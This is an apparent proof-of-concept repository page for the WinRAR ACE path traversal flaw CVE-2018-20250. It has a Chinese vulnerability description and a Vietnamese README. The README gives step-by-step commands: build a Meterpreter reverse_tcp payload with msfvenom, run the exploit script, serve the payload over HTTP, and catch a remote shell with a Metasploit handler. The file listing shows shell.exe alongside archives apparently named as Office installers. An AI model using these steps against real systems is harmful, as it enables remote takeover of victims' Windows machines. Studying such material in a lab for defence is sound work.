CVE-2018-20250 PoC — WinRar 路径遍历漏洞

Source

https://github.com/LamSonBinh/CVE-2018-20250

Associated Vulnerability

Title:WinRar 路径遍历漏洞 (CVE-2018-20250)
Description:WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。 WinRar中存在目录遍历漏洞。该漏洞源于WinRAR在解压处理ACE格式的文件过程中，未对ACE文件头结构中的“filename”字段进行充分过滤。攻击者可利用该漏洞以提升的权限执行任意代码。

Readme

## Setup
- Video demo: https://youtu.be/5tuWsi1tGS0
- VirtualBox Machine: https://j2c.cc/virtualbox-machine
- Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit
## Các bước tiến hành
- Kali:
```
ip a
msfvenom -p windows/meterpreter/reverse_tcp lport=1234 lhost=10.0.0.199 -f exe > shell.exe
```
- Windows:
```
git clone https://github.com/LamSonBinh/CVE-2018-20250
py exp.py
```
- Kali:
```
python3 -m http.server
```
- Windows:
10.0.0.199:8000
- Kali:
```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
set lport 1234
set lhost 10.0.0.199
exploit -j

sessions
sessions 1
sysinfo
shell
```

File Snapshot


 [4.0K]  /data/pocs/5da26d9612d71413ac431d52f16b5f8fea5ff223
├── [  45]  account.txt
├── [155K]  acefile.py
├── [4.0K]  exp.py
├── [8.0M]  Office365Setup.rar
├── [8.0M]  OfficeSetup.exe
├── [ 630]  README.md
└── [ 72K]  shell.exe

0 directories, 7 files

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